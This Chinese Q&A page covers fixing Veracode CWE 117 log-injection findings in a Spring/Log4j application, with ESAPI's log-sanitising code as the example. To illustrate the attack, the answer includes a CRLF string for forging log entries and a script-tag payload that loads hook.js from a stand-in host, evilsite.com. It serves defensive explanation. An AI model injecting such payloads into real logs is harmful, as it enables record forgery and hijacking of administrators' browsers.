当前位置: 首页 > 面试题库 >

如何修复Veracode CWE 117(日志的不正确输出中和)

胡沈义
2023-03-14
问题内容

有一个Spring全局@ExceptionHandler(Exception.class)方法记录如下异常:

@ExceptionHandler(Exception.class)
void handleException(Exception ex) {
    logger.error("Simple error message", ex);
...

Veracode扫描说此日志记录已经Improper Output Neutralization for Logs并建议使用ESAPI记录器。有什么方法可以解决此漏洞而无需将记录器更改为ESAPI?这是我在代码中唯一遇到此问题的地方,我试图找出如何用最少的更改来解决它。也许ESAPI有一些我没有注意到的方法?

PS Current logger是slf4j上的Log4j

UPD: 最后,我使用了ESAPI记录器。我以为它不会使用默认的日志记录服务,但是我错了,它只是使用了具有适当配置的slf4j记录器界面。

private static final Logger logger = ESAPI.getLogger(MyClass.class);
...
logger.error(null, "Simple error message", ex);

ESAPI具有log4j记录器和记录器工厂的扩展。可以配置它在ESAPI.properties中使用什么。例如:

ESAPI.Logger=org.owasp.esapi.reference.Log4JLogFactory

问题答案:

有什么方法可以解决此漏洞而无需将记录器更改为ESAPI?

简而言之,是的。

TLDR:

首先了解错误的严重性。主要关注的是伪造日志记录。假设您有这样的代码:

log.error( transactionId + " for user " + username + " was unsuccessful."

如果任何一个变量都在用户控制下,则它们可以通过使用输入来注入错误的日志记录语句,例如\r\n for user foobar was successful\rn允许它们伪造日志并覆盖其记录。(嗯,在这种人为的情况下,只是让它变得很难看清楚发生了什么。)

第二种攻击方式更多是象棋动作。许多日志都是HTML格式的,可​​以在另一个程序中查看,在这个示例中,我们假设日志是要在浏览器中查看的HTML文件。现在我们进行注入<script src=”https://evilsite.com/hook.js” type=”text/javascript”></script>,您将在浏览器上安装了一个漏洞利用框架,该漏洞利用框架很可能以服务器管理员的身份执行…因为它怀疑CEO是否会读取日志。现在可以开始真正的破解了。

防御:

一种简单的防御方法是确保所有带有用户输入的日志语句都以明显的字符(例如“֎”)转义字符“ \ n”和“ \
r”,或者您可以执行ESAPI的操作并使用下划线转义。只要保持一致就没有关系,请记住不要使用会使您困惑的字符集。就像是userInput.replaceAll("\r", "֎").replaceAll("\n", "֎");

我还发现确保精确指定日志格式很有用…意味着您要确保对日志语句的外观和构造格式具有严格的标准,从而更容易捕获恶意用户。所有程序员都必须提交聚会并遵循格式!

为了抵御HTML场景,我将使用[OWASP编码器项目] [1]

至于为什么建议使用ESAPI,它是一个经过反复考验的库,但总的来说,这就是我们要做的。看代码:

/**
 * Log the message after optionally encoding any special characters that might be dangerous when viewed
 * by an HTML based log viewer. Also encode any carriage returns and line feeds to prevent log
 * injection attacks. This logs all the supplied parameters plus the user ID, user's source IP, a logging
 * specific session ID, and the current date/time.
 *
 * It will only log the message if the current logging level is enabled, otherwise it will
 * discard the message.
 *
 * @param level defines the set of recognized logging levels (TRACE, INFO, DEBUG, WARNING, ERROR, FATAL)
 * @param type the type of the event (SECURITY SUCCESS, SECURITY FAILURE, EVENT SUCCESS, EVENT FAILURE)
 * @param message the message to be logged
 * @param throwable the {@code Throwable} from which to generate an exception stack trace.
 */
private void log(Level level, EventType type, String message, Throwable throwable) {

    // Check to see if we need to log.
    if (!isEnabledFor(level)) {
        return;
    }

    // ensure there's something to log
    if (message == null) {
        message = "";
    }

    // ensure no CRLF injection into logs for forging records
    String clean = message.replace('\n', '_').replace('\r', '_');
    if (ESAPI.securityConfiguration().getLogEncodingRequired()) {
        clean = ESAPI.encoder().encodeForHTML(message);
        if (!message.equals(clean)) {
            clean += " (Encoded)";
        }
    }

    // log server, port, app name, module name -- server:80/app/module
    StringBuilder appInfo = new StringBuilder();
    if (ESAPI.currentRequest() != null && logServerIP) {
        appInfo.append(ESAPI.currentRequest().getLocalAddr()).append(":").append(ESAPI.currentRequest().getLocalPort());
    }
    if (logAppName) {
        appInfo.append("/").append(applicationName);
    }
    appInfo.append("/").append(getName());

    //get the type text if it exists
    String typeInfo = "";
    if (type != null) {
        typeInfo += type + " ";
    }

    // log the message
    // Fix for https://code.google.com/p/owasp-esapi-java/issues/detail?id=268
    // need to pass callerFQCN so the log is not generated as if it were always generated from this wrapper class
    log(Log4JLogger.class.getName(), level, "[" + typeInfo + getUserInfo() + " -> " + appInfo + "] " + clean, throwable);
}

参见第398-453行。这就是ESAPI提供的所有转义。我建议也复制单元测试。

[免责声明]:我是ESAPI的项目共同负责人。

[1]:https://www.owasp.org/index.php/OWASP_Java_Encoder_Project,并确保在进入记录语句时对输入进行正确的编码-
与将输入发送回用户时一样多。



 类似资料:
  • 我尝试使用clean=message.replace('\n','').replace('\r','')。但它仍然无法通过veracode扫描。有什么更好的方法做这件事吗?另外,我阅读了关于ESAPI、Python的文章,但没有得到任何好的文档来修复这个问题。

  • Spring global方法记录如下异常: Veracode scan指出,该日志有,并建议使用ESAPI日志记录器。有没有什么方法可以在不将记录器更改为ESAPI的情况下修复此漏洞?这是我在代码中唯一面对这个问题的地方,我试图找出如何用最少的更改来修复它。也许ESAPI有一些我没有注意到的方法? ESAPI有log4j记录器和记录器工厂的扩展。可以在esapi.properties中配置要使用

  • 我正在使用“浏览”检查我的代码。Pylint返回了关于我的调试消息的日志记录不懒惰警告。 我的代码是: 如何修复pylint中的logging not lazy?

  • 你如何测试和调试你的代码呢?Lua 的两个主力作者是这样回复的: Luiz Henrique de Figueiredo:我主要是一块一块的构建,分块测试。我很少使用调试器。即使用调试器,也只是调试 C 代码。我从不用调试器调试 Lua 代码。对于 Lua 来说,在适当的位置放几条打印语句通常就可以胜任了。 Roberto Ierusalimschy:我差不多也是这样。当我使用调试器时,通常只是用

  • Blade使用了 slf4j-api 作为日志接口,为了方便起见,默认内置了日志实现, 包含按日期进行文件归档等操作,一个小型应用无需配置日志组件。 maven的坐标名为 blade-log,源码在 这里 默认的日志级别是 INFO,你可以修改它。使用日志和往常一样: public class LogExample { private static final org.slf4j.Logg